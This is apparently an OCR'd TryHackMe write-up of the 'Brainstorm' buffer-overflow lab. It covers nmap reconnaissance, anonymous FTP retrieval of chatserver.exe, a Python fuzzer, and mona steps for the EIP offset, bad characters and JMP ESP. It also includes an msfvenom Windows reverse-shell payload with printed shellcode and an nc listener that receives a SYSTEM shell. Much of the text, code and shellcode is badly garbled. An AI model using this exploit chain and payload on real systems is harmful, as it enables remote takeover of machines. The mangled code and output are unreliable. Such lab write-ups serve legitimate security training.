Brainstorm

Saturday, June 5, 2021 3:55PM
# nmap -A

Starting Nmap 7.6€ https://nmap
: Loaded 146 pts for scan

5E: Script Pre ing.

Initiating NSE at 21:06

Completed NSE at 21:06,

Initiating NSE at 21:06

Completed E at 21:06, 0.00

Initiating ARP Ping Scan at 21:06

Scanning 10.10.31. 3 [1 port]

Completed P Ping Sc 21:06, ©

Initiating Parallel esolution of 1

Completed Parallel DNS plution of 1

Initiating SYN 2alth Scan at 21:06

nning ip-10- 1- -west-1. ernal (10.10.31.118)

D
D

scovered open port > on 10.10.31.1
scovered open port / on 10.10.31.118
scovered open port 99§ cp on 10.10.31.118

1
i

[1000

* mpleted SYN Stealth Sca 17.69s elap (1000 total ports)

itiating Serv scan
Scanning 3 ¢ ic on ip-10- st- inter
Complete ice an 1:09, 146.14 (3 service
Initiating C de on (try #1) against 1 10-10-31-118

ion (try .eu-west-

scanning 10.
Initiating NSE at 21:09

nal

s on 1

st-

ports]

(10.10.3

host)

ympute.internal
1.compute.internal

[ftp-bounce] PORT response: 5 cannot & argument

Completed NSE at 21
Initiatin SE at 21:
Completed NSE at 21

.65s

Nmap scan report ip- est-1.compute.internal (

Host is up (0.0006 .
Not showr 3¢ filtered ports
SERVICE VERSION
ftp Microsoft ftpd
Anonymous FTP login allowed (FTP code 230)
directo 1 TIMEOUT

Subject: c \ame=brainstorm
commonName=brainstorm
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Public Key type: rsa

Public Key bits: 2048

Signature Algorithm: shalWithRSAEncryption

Not valid before: 2021-06-04719:52:07

Not valid after: 2021-12-04719:52:07

MD5: 9042 aS58c bif6 cd63 1ebe b762 1afd de2c

SHA-1: 1ala 1dbd ©eS5f 97fe 49fe 015e 17b1 800a 3606 14e3
_ssl-date: 2021-06-05720:09:22+00:00; O0s from scanner time.
999/tcp open abyss?

fingerprint-strings:

0
0
£
5

DNSStatusRequest, DNSVersionBindReq, FourOhFourRequest, GenericlLines, GetRequest, HTTPOptions, Help, JavaRMI, RPCCheck, R

SPRequest, SSLSessionReq, TLSSessionReq:
Welcome to Brainstorm chat (beta)
Please enter your username (max 20 characters): Write a message:
NULL:
Welcome to Brainstorm chat (beta)
Please enter your username (max 20 characters):

service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at ht

tps://nmap.org/cgi-bin/submit.cgi?new-service
SF-Port9999-TCP:V=7.60%I=7%D=6/5%Time=60BBD961%P=x86_64-pc-Linux-gnu%r (NUL
:L,52,"Welcome\x20to\x20Brainstorm\x206chat\x20\(beta\)\nPlease\x20enter)\
:x20your\x20username\x20\ (max\x2020\x20characters\):\x20" )%r (GetRequest,
:63, "Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x2
:0your\x20username\x20\ (max\x2020\x20characters)):\x20Write\x20a\x20mess
:age:\x20" )%r (HTTPOptions,63, "Welcome\x20to\x20Brainstorm\x20chat\x20\(b
:eta))\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20characters
:\):\x20Write\x20a\x20message:\x20" )%r(FourOhFourRequest,63, "Welcome\x20
:to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20userna
:me\x20\ (max\x2020\x20characters)):\x20Write\x20a\x20message:\x20" )%r(Ja
:VaRMI,63, "Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20en
-:ter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a\x
20message:\x20" )%r(GenericLines,63, "Welcome\x20to\x20Brainstorm\x20chat
:\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20cha
:racters)):\x20Write\x20a\x20message:\x20" )%r (RTSPRequest,63, "Welcome\x2
F:0to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20usern
:ame\x20\ (max\x2020\x20characters)):\x20Write\x20a\x20message:\x20" )%r(R
:PCCheck,63, "Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20
:enter\x20your\x20username\x20\ (max\x2020\x20characters\):\x20Write\x20a
ey R SN R AR AR Al o b
:\x20message:\x20" )%r(DNSVersionBindReq, 63, "Welcome\x20to\x20Brainstorm\
:x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020
\x20characters)):\x20Write\x20a\x20message:\x20" )%r(DNSStatusRequest,63
, "Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20y
our\x20username\x20\ (max\x2020\x20characters)):\x20Write\x20a\x20messag
e:\x20" )%r(Help,63, "Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nP1l
ease\x20enter\x20your\x20username\x20\(max\x2020\x20characters)):\x20Wr
:ite\x20a\x20message:\x20" )%r(SSLSessionReq,63, "Welcome\x20to\x20Brainst
:orm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\ (max\x
2020\ x20characters)):\x20Write\x20a\x20message:\x20" )%r(TLSSessionReq,6
:3,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20
:your\x20username\x20\ (max\x2020\x20characters)):\x20Write\x20a\x20messa
ge:\x20");
Address: 02:C7:13:84:2A:25 (Unknown)
Warning: 0SScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive 0S guesses: Microsoft Windows Server 2008 (90 Microsoft Windows Server 2008 R2 or Windows
ndows 7 SP1 (90%), Microsoft Windows 8.1 R1 (90%), Microsoft Windows Server 2008 or 2008 Beta 3 (89%),
er 2008 R2 (89%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (89%), Microsoft Windows 7 Professi
), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (89%), Microsoft Windows Vista SPO
2008 SP1, or Windows 7 (89%)
INo exact 0S matches for host (test conditions non-ideal)
ptime guess: 0.014 days (since Sat Jun 5 20:49:58 2021)
Network Distance: 1 hop
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TCP Sequence Prediction: Di \
IP ID Sequence Generation: Incremental
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE
HOP RTT ADDRESS
1 0.60 ms ip-10-16-31-118.eu-west-1.compute.internal (16.10.31.118)

NSE: Script Post-scanning.

Initiating NSE at 21:09
Completed NSE at 21:09, 0.00s elapsed
Initiating NSE at 21:09
Completed NSE at 21:09, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 201.01 seconds
Raw packets sent: 3101 (141.612KB) | Rcvd: 38 (1.904KB)
10-136-157:~-#

There appears to be a webserver running on tcp/3389
7 UOW

2Yo 1.

3389/tcp open tcawrapped
| ssl-cert: Subject: commonName=brainstorm
Not valid before: 2021-06-08720:01:43

|
| _Not valid after: 2021-12-08T720:01:43

=

A Warning: Potential Se xi +

<« c @ fa 10.10.6.135 v @ 0 i @

TryHackMe | Learn Cy... TryHackMe Support W Offline CyberChef (@ GitHub - swisskyrepo/...

Warning: Potential Security Risk Ahead

Firefox detected a potential security threat and did not continue to 10.10.6.135. If you visit this
site, attackers could try to steal information like your passwords, emails, or credit card details.

Go Back (Recommended) Advanced...

That didn't work for me. So, next | connected to the FTP port and transferred the files in the
chatserver directory.
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ted to 10.1
Microsoft FT
.10.152
allowed,

successful.
connection alread
:36PM
Transfer complete.
» c¢d chatserver
command

> binary
D Type set
mget *
chatserver.exe?
PORT mmand suc
Data connection
compl
receiy

.d11?

PORT
Data
-29-19

command
open;

to

t

Fer
func

successful.
slready open;

PORT command
Data
Tran
30761 byt
ftp> bye
221 Goodbye.

connection
er comple

receiy

essfunc.dll

https
ip-10-16
latency).

ap
Host
PNRT —’KDHT/'K \VEDC }:H"
9/tcp open abyss?
erprint-string
DNSStatusReque
uest,
onRe

on

Brainstorm
your username

W to chat
Please enter
NULL:
Welcome to Brainstorm
Please enter your
service unrecognized despite
pleas ubmit the following ng

service

Lcome

hat

username

send identity

HTTPOptio A1,

(e-mail name

Transfer starting.

chatserver

Transfer starting.

576.4

Transfer

(19.

index.html

-p 9999

enericlLines,
ionRe

BindReq,
RPCChe

FourOhFourReque
RTSPReque >SLS

(beta)

20

(max

( characters):
eturning data. If you know the service/version,
erprint at https://nmap.org/c /submit.cgi?n

P=x86_64-pc-
\(beta\)\nP
20

| tried the exploits in the exploitdb. None of those worked so | will attempt to fuzz the

ndows VM.
p-10-1 # python3
Serving HTTP on 0.0.0.0 port 808
10.10. [18/Jun/2021
Jun 21
Jun/2021
Jun/202
[16/3un/262

application that | will host on a Wi

8

1

08C

http.server 8
) (http://0.0.0.
File not found
HTTP/1.1 104
arver HTTP/1.
sfunc.dll HTTP/1

.exe

2
3%
3

TRY HACK ME Page 4



€ Directory listing for / - Windows Internet Explorer
(€ v |e 10.10.46.249 - 4| X
Favorites 2 B t tes v B -

€ Directory listing for / SR > B = v Pagev Safetyv Tools+w

* theme Download complete = @ [

Download Complete

essfunc.dll from 10.10.46.243

Downloaded 30.0KB in 1 sec

1d Download to C:A\Users\admin\Desktop\v.. \esstunc. dll
Transfer rate 30.0KB/Sec

o x jon-errors. old Close this dialog box when download completes

Open Open Folder Close

Next we will create a working folder for Mona and then fire up the pplication.

Imona config -set workingfolder c:\mona\%p

€3 Immunity Debugger - chatserver.exe - [CPU - main thread, module chatserv
] ; ‘
OB EE WX MY lemtwhcPkbzr.s 2}

# | C:\Users\admin\Desktop\vulnerable-apps\chatserver.exe

hat Server started!
alled essential function dl1l version 1.00

Maiting for connection

Running

Next we will create our fuzzer script.
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socket, time, sys

port
timeout
prefix

string - prefix

socket. ket (socket.AF INET, socket.SOCK STREAM)

t(timeout)
t((ip, port))

ng with g™ .1 t(len(string) en(prefix)))
(string, 1

(string) en(prefix)))

string
time.

ot@if ) # python3 fuzzer.py
Fuzzing 100 bytes
Fuzzing 200 bytes

with 6000 bytes
with 6100 bytes

crashed at 6200 bytes
-10-46-249:-# ]

The application crashed at 6200 bytes. Next, | will create the exploit script that we will gradually
update as we gather more information about the ChatServer application.

ip 10.10
port

prefix
offset
overflow
retn
padding
WEVAGED]
postfix

prefix overflow retn padding [EVAGED] postfix

socket. ket(socket.AF INET, socket.SOCK STREAM)

port))

Run the following command to generate a cyclic pattern of a length 400 bytes
longer that the string that crashed the server (change the -l value to this):
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3 # locate pattern_create.rb
/opt/ﬂetd)plott framework-5101/tools/exploit/pattern_create.rb
i # cd /opt/metasploit-framework-5101/tools/exploit
f 1 4 # ./pattern_create.rb -1 6600

Aaogalﬁak.d)ma*ﬁa)ﬂaﬁmclﬂabNaQHbOAbl b2Ab3Ab4Ab5Ab6Ab7AbBABIACBACIAC2AC3ACAACSACE6ACTACBACIAdOAd1Ad2Ad3Ad4Ad5Ad6Ad7TAdBAd9AEBAE
1Ae2Ae3AedAe5Ae6Ae7AeBAeIATOAT1IAT2AF3AT4AFSAF6AF7TAFBAF9AgOAQ1Ag2Ag3Ag4AgSAg6Ag7AgBAGIANOARIAR2AR3AR4ARSAR6AR7TARBARSATOALIAL2A
13A14A15A16A17A18A19Aj0Aj1Aj2Aj3AJ4AjSAj6Aj7TAIBAj9AkOAk1Ak2Ak 3Ak4AkSAK6AK7AKBAKIALOAL1AL2A13A14ALSAL6AL7AL8AL9AMOAM1AM2AM3AM4
AmSAM6AM7AMBAM9ANOAN1AN2AN3AN4ANSAN6ANTANBANSA OUMO[»O A03A04A05A06A07A0BA09APOAP1AP2AP3AP4APSAPGAPTAPBAPIAqOAQIAQ2AQ3AQq4AQqSAqg
6AQ7AQBAQOArOAr1Ar2Ar3Ar4ArSAr6Ar7Ar8Ar9As0As1As2As3AS4ASSAS6ASTASBASOATOATIAL2AL3AT4ALSAT6AT7ALBATOAUDAUTAUZAU3AU4AUSAUGAUTA
UBAUSAVOAVIAV2AV3AV4AVSAVOEAVTAVBAVIAWOAWIAWZAWIAWAAWSAWOAWTAWBAWIAXOAX 1AX2AX3AX4AXSAX6AXTAXBAX9AYOAY1AY2AY3AY4AYSAY6AYTAYBAYS
AzZOAZ1AZ2AZ3AZ4AZ5AZ6AZz7AZ8AZz9Ba0Bal1Ba2Ba3Ba4BasSBa6Ba7Ba8Ba9BboBb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9BCcOBC1BCc2BCc3BCc4BcS5SBCc6BCc7BCc8BCcIBdOBd
1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9BeOBe1Be2Be3Be4BeS5Be6Be7Be8Be9BfOBf1Bf2Bf3Bf4BfSBf6Bf7Bf8Bf98g0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg98hoBh1Bh2B
h3Bh4Bh58h6Bh78h8Bh9B10B11B12B13B814B15B16B17818B198j0Bj1Bj2Bj3Bj4Bj5Bj6Bj7818Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk78k8Bk9B10B11B12B13B14
B15B16B178188198mOBm1Bm2Bm3Bm4BmSBm6BmM7Bm8BM9BNnOBN1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9B06B01B02B03B04B0o5B06B07B808B09Bp6Bp1Bp2Bp3Bp4BpSBp
6Bp7Bp8Bp9BqOBq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8BQq9BrOBri1Br2Br3Br4Br5Br6Br7Br8BroBsOBs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9BtOBt1Bt2Bt3Bt4Bt5Bt6BL7B
+8Bt9BuOBuU1BU2BU3BU4BuUSBu6Bu7BuB8Bu9BVvOBVv1BVv2Bv3Bv4Bv5Bv6Bv7BvE8BVOBWOBW1BwW2BW3BWABWSBW6BW7BwBBWIBXOBXx1BXx2Bx3BXx4BXx5Bx6BXx7BXx8Bx9
OBv18vva3Bv4BvSB\oBv/BvdBv9B ©Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9CatCa1Ca2Ca3Cad4Cas5Ca6Ca7CaB8Ca9ChoCb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8CbICcOCC

Cc3Cc4Cc5Cc6Cc7Cc8Cc9CdOCd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ced4CeS5Ce6Ce7CeB8Ce9CFOCTICF2CF3CF4CTFSCF6CT7CF8CT9Cg0Cg1Cg2C
gJngLQSCSOCg,LgBCg9(h0th(h;Lh3(h4(h3(ho(h/Lhd(hgtloCllCIZClSCIJCiSLiOCiTCiSCiQLjO(jl(j:(jB(jJC]SC]D(]ICJSCj%LkOLRACKZLkJCRJ
Ck5Ck6Ck7Ck8CkoC1OCLICL2CL3CL4CLSCL6CL7CLBCLICMOCMICM2CM3CMACMSCMECM7CmBCMICNOCN1CN2CN3CN4CN5CN6CN7CN8CN9Co0BCo1Co2C03Co4Co5Co
o(o7[oS(09CpO(pl(p’(03CpJ(pSCpon7CpR(pQCqOCQ1(q‘fQBCQJCQSqu(g7(q8(qQCrO(r'(r“Cr"rJ(fSCroCr?(rOCrQC 0Cs1Cs2Cs3Cs4Cs5Cs6Cs7C
S8CSOCLOCtICt2Ct3Ct4CtS5Ct6Ct7Ct8CtoCUOCULICU2CU3CU4CuSCubCu7CuB8CU9CVOCVY1ICY2Cy3Cv4CySCveCv7CvBCVICWOCWICW2CW3CWwaACWSCWwoCWw7CwBCwS
CxOCX1CX2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0OCY1Cy2Cy3Cy4CyS5Cy6Cy7Cy8CYy9Cz0CZ1CZz2CZz3CZz4Cz5Cz6C27Cz8Cz9DabDa1Daz2Da3Da4DasSDa6Da7Da8Da9DbeDb
10b2Db3Db4Db5Db6Db7Db8DbIDCODC1DCc2DCc3Dc4DCc5Dc6Dc7Dc8Dc9DdODd10d2Dd3Dd4Dd50d6Dd7Dd8Dd9DeODe1De2De3De4DeSDe6De7De8DeDFODF1DF2D
f3Df4Df5DF6DF7DF8DF9DgODg1Dg2Dg3Dg4Dg50g6Dg7Dg8Dg9DheDh1Dh2Dh3Dh4Dh5Dh6Dh70h8Dh9D16D11D12D13D14D15D16D17D18D19D0jODj1Dj2Dj3Dj4
DjSDj6Dj7Dj8D jODkODk 1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9D16D11D12D13D14D15016D17018D19DMODM1DM2DM3DM4DMSDM6DM7DM8DMODNODN1DN2DN3DN4DN50N
6Dn7Dn8DN9D0ODO01D02D03D04D05D06D07D08D09DPODP1Dp2Dp3Dp4DpSDP6EDP7DP8DPODqEDGq1DQ2Dq3Dq4Dq5Dq6Dq7D0q8DQODrODr1Dr20r30r4Dr5Dr6Dr7D
r8DroDsODs1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9DtODL1DL2DE3DL4DE5DL6DE7DL8DE9DUODU1IDUZ2DU3DU4DUSDUGDU7DUBDUSDVODV1DV2DV3DV4DV5DVEDV7DVBDVY
DwODW1DW2DW3Dw4DWwSDW6DW7DwBDWIDXODXx1Dx2DXx3Dx4DXx5Dx6DXx7Dx8DXx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1D2z2D2z3Dz4Dz5D26Dz7D28Dz9Ea0Ea
1Ea2Ea3Ea4EaSEAGEA7EABEA9EDOEDIED2ED3ED4EDSEDGED7EDBEDIECOECIEC2EC3EC4ECSEC6ECTECBECIEJOEd1Ed2Ed3EJ4EdSEdGEA7TEdBEd9EeOEe1EC2E
e3Eed4EeSEe6Ee7EeBEC9EfOEf 1Ef2Ef3Ef4Ef SEf6Ef7TEfBEf9EQOEQ1EQ2EQ3EQ4EQSEQGEQ7EQB8EQIEROER1ER2ER3ER4ERSERGER7ERBERSELOEL1EL2EL13ELS
E1SE16E17E18E19EJOEJ1EJ2EJ3EJ4EJSEJ6EF7EIBEJ9EKOEK1EK2EK3EKSEKSEKGEK7EKSEKOELOEL1EL2EL3EL4ELSEL6EL7ELBEL9EMOEM1EM2EM3EM4EMSEM
6EM7EMBEmMSENOEN1EN2EN3EN4ENSENGEN7ENBEN9EOCOEO1E02EO3EO4EO0SEOGEO7EOBEOSEPOEP1EP2EP3EP4EPSEPGEP7EPBEPSEQOEqQIEqQ2EQ3EQ4EQSEQGEQTE
Q8EQOErOEr1Er2Er3Er4ErSEr6Er7Er8Er9ESOES1ES2ES3ES4ESSESGESTESBESOEtOEt1Et2Et3Et4EtSEt6EL7EtBEL9EUOEU1EU2EU3EU4EUSEUGEUTEUBEUY
EVOEVI1EV2EV3EVAEVSEVOEVTEVBEVIEWOEWIEW2EW3EWAEWSEWGEW7EWBEWISEXOEX1EX2EX3EX4EXSEXGEXTEXBEX9EYOEY1EY2EY3EY4EYSEYOGEY7EYBEY9EZOEZ
1Ez2EZz3Ez4EZz5EZ6EZ7EZ8EZz9FaOFalFa2Fa3Fad4FasSFa6Fa7Fa8Fa9FbOFb1Fb2Fb3Fb4FbSFb6Fb7Fb8FbOFCcOFCIFC2FCc3FCc4FCcS5FC6FC7FCc8FCcOFdOFd1Fd2F
d3Fd4Fd5Fd6Fd7FdBFd9FeOFel1Fe2Fe3Fe4FeSFe6Fe7Fe8Fe9FfOFFIFf2Ff3FF4FfSFF6FF7FF8FfO9FQOFQ1Fg2Fg3Fg4FgS5Fg6Fg7FgB8FQ9FhOFh1Fh2Fh3Fh4
FhSFh6Fh7Fh8FhOF1OFL1F12F13F14F15Fi6FL7Fi8F19FjOF j1Fj2F j3Fj4F jSFi6F j7F jBF j9FkOFk1Fk2Fk3Fk4FkS5Fk6Fk7Fk8FKkOFLOFL1IFL2FL3FL4FL5SFL
6FL7F18FL9FMOFM1FM2FM3Fm4FmMSFMG6FM7FMBFMOFNOFN1FN2Fn3Fn4FnSFN6FN7FN8FN9F00BF01F02F03F04FO0SFO6F07FO8BFOSFpOFp1Fp2Fp3Fp4FpSFp6FpT7F
«FDquOFquq¢iquqJFO\qu‘q/FqHFQQF OFr1Fr2Fr3Frd4FrSFr6Fr7Fr8Fr9FsOFs1Fs2Fs3FS4FSSFS6FS7FSBFSOFtOFt1Ft2Ft3Ft4FtSFL6Ft7FL8FLO

~r rroer Ar.c.ar.cear e T e e AT e P e e e s P e sl e sl AT AT oA T AT P e AT e e T O T A AT e A P e A e A e AT P P s E T e I e AT e AT AT

>

Crash Replication & Controlling EIP

Create another file on your Kali box called exploit.py with the Following
contents:

Next, we add the pattern to our exploit and restart the application.

port

prefti
offset
overflow
retr
padding
PEVAGET
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root@ip-10-10-46-249: ~ x

# python3 exploit.py

The script should crash the oscp.exe server again. This time, in Immunity
Debugger, in the command input box at the bottom of the screen, run the
following mona command, changing the distance to the same length as the

pattern you created:

Mona should display a log window with the output of the command. If not, click
the "Window" menu and then "Log data” to view it (choose "CPU" to switch back
to the standard view).

In this output you should see a line which states:

EIP contains normal pattern

IH ] X P Il MUY |l emtwhcPkbzr.s?7H

ag 3

Update your exploit.py script and set the offset variable to this value (was
previously set to 0). Set the payload variable to an empty string again. Set the
retn variable to "BBEBB".

exploit.py

socket

ip
port

prefix CHATSERVER
offset

overflow A offset
retn BBBB

padding

payload

postfix

prefix + overflow retn + padding + payload + postfix

socket. ket (socket.AF INET, socket.SOCK STREAM)

port))
lb

$far
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root@ip-10-10-46-249: ~ x

p-10-10-¢ :~# python3 exploit.py
bending evil buffer...
one!

t@ip-10-1 3 19:-# l

Finding Bad Characters

Generate a bytearray using mona, and exclude the null byte (\x00)
by default. Note the location of the bytearray.bin file that is
generated (if the working folder was set per the Mona
Configuration section of this guide, then the location should be
CA\mona\oscp\bytearray.bin).

[tmona bytearray -b '1x00'{

| Paused

Now generate a string of bad chars that is identical to the
bytearray. The following python script can be used to generate a
string of bad chars from \x01 to \xfF:

for x in range(l, 256):
print("\\x" + "{:@2x}".format(x), end="")
print()

I t@i | 10-46-249:-# python3 byte_array.py

\xOI\x07\v03\<04\\05\x00\x07\x0b\«09\xoa\xob\xec\de\xOs\xOf\xlO\x11\x1“\x13\x14
\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28
\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c
\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50
\Xx51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64
\X65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78

\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8¢
\x8d\x8e\x8f\x90\x91\x92\ x93\ x94\x95\x96\x97\x98\ x99\ x93\ x9b\x9c\x9d\ x9e\x9f\xad
\xal\xa2\xa3\xad\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xbo\xb1\xb2\xb3\xb4
\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xcO\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8
\xc9\xca\xcb\xcc\xcd\xce\xcf\xdo\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc
\xdd\xde\xdf\xed\xel\xe2\xe3\xed\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xfo
\XF1\xF2\xf3\xf4\xfS\xFf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
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prefix
offset
overflow
retn
padding
EVAGED]

postfix

prefix « overflow + retn + padding + payload + postfix
[ LUne 11, Column 1032 Tab Size: 4 Python

Restart chatserver.exe in Immunity and run the modified exploit.py script again. Make a note of
the address to which the ESP register points and use it in the following mona command:

!mona compare -f C:\monaloscp\bytearray.bin -a <address>

3 Immunity Debugger - chatserver.exe = EC] @
File View Debug Plugins Immlib Options Window Help Jobs
% T X b1l MR lemtwthkhgr...s?.

]Emona Memory comparison results o -3 @

o s pare f C:y \chatserveribytearray.bin -a 01 96EECO|

Paused

Finding a Jump Point

With the oscp.exe either running or in a crashed state, run the
following mona command, making sure to update the -cpb option
with all the badchars you identified (including \x00):
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‘[!mona jmp -r esp -cpb "{x00"

@ CPU - thread 00000DBC, module essfi

[ 12 R ————
Generate Payload

Run the following msfvenom command on Kali, using your Kali
VPN IP as the LHOST and updating the -b option with all the
badchars you identified (including \x00):

r 10-1 16-: # msfvenom -p windows/shell_reverse_tcp LHOST=10.10.46.249 LPORT=4444 EXITFUNC=thread -b "\x00
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nal succeeded with size 351 (iteration=0)
x86/shikata_ga_nal chosen with final size 351
Payload size: 351 bytes
Final size of c¢ file: 1560 bytes
unsigned char buf[] =
xda\xc8\xd9\x74\x24\xf4\xbb\xd7\x89\x81\xcc\x5d\x33\xc9\xb1
® x52\x83\ \x04\x31\x5d\x13\x03\x8a\x9a\x63\x39\xc8\x75\xel
2\x30\x86\x86\x4b\xd5\xb7\x86\x28\x%¢e\ xe 6\x3a\xf2\xe4
xbc\x6e\xe6\x9f\xb0\xa6\x09\x17\x7e\x91\x24\xa8\xd3\xel1)\
2a\x2e\x36\x87\x13\xe1\x4b\xc6\x54\x1c\xa1\x9%9a\x0d\x6a\x14"
\x0a\x39\x26\xa5\xal1\x71\xa6\xad\x56\xc1\xc9\x9c\xc9\x59\x90

\x3e\xe8\xBe\xa8\x76\xf2\xd3\x95\xc1\x89\x20\x61\xdo\x5b\x79
\x8a\x7f\xa2\xb5\x79\x81\xe3\x72\x62\xf4\x1d\x81\x1f\x0f\xda"
\xfb\xfb\x%a\xf8\x5c\x8f\x3d\x24\x5c\x5c\xdb f\x52\x29\xaf
\xF7\x76\xac\x7c\x8c\x83\x25\x83\x42\x02\x7d\xa0\x46\x4e\x25
\xc9\xdf\ \x88\xf6\x3F\x95\x75\x53\x34\x38\x61\xee\x17\x55
\x46\xc3\xa7\xa5\xco0\x54\xd4\x97\x4f\xcf\x72\x94\x18\xc9\x85

\xdb\x32\xad\x19\x22\xbd\xce\x30\xel1\xe9\x%e a\xco\x91\x74"
\xaa\xed\x47\xda\xfa\x41\x38\x9b\xaa\x21\xe8\x73\xa0\xad\xd7
\x64\xcb\x67\x70\x0e\x36\ \xc5\x16\x09\xe1\xdb\x66\xf8
\xae\x52\x80\x90\x5e\x33\x1b\x0d\xc6\x1e\xd7\xac\x07\xb5\x92
\xef\x8c\x3a\x63\xa1\x64\x36\x77\x56\x85\x0d\x2
\x41\x9d\x09\ \x91\xe8\x31\xff\xc6\xbd\x84\x
0\ xa9%\ B )

\xdd\x99\x7e\x28\x8b\x5f\x a\x65\x36\x86\x74\xe1l
"\xcf\xe4\x46\x77\xd0\x20\x31\x97\x61\x9d\x04\xa8 e\x49\x81
\xd1\xb2\xe9\x6e\x \x8d\x98\x82\xa2\x08\x49\x2f\xaf
\xaa\xad\x6c\xd6\x X x0d\x2d\x30\x25\x08\x69\xf6\xd6\x60
\xe2\ x93\ xd8\xd7\x
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~/exploit.py

exploit.py

padding
WEVAGED]

&= Line 3, Column 20 Tab Size: 4

root@ip-10-10-46-249: ~ X

p-10-10-46-249 pyth exploit.
Sending evil buffer...
Done!
t@i 16-249: python3 exploit.
buffer...
16-249: python3 exploit.
buffer...

[]

t@ip- 1 16-249:-#% rlwrap nc -lvnp 4444
Listening on [0.0.0.0] (family ©, port 4444)
Connection from 10.10.139.225 49463 received!
Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Users\drake\Desktop>dir

dir

Volume in drive C has no label.
Volume Serial Number is C87F-5040

Directory of C:\Users\drake\Desktop
08/29/2019 10:55 PM <DIR>

08/29/2019 10:55 PM <DIR>
08/29/2019 10:55 PM 3

2 root.txt
1 File(s) 32 bytes

2 Dir(s) 19,467,784,192 bytes free
C:\Users\drake)\ top>type root.txt

type root.txt

5b1601deS5ad4ecad7eece71e7942a8f8a

C:\Userg\drake\Desktop>l
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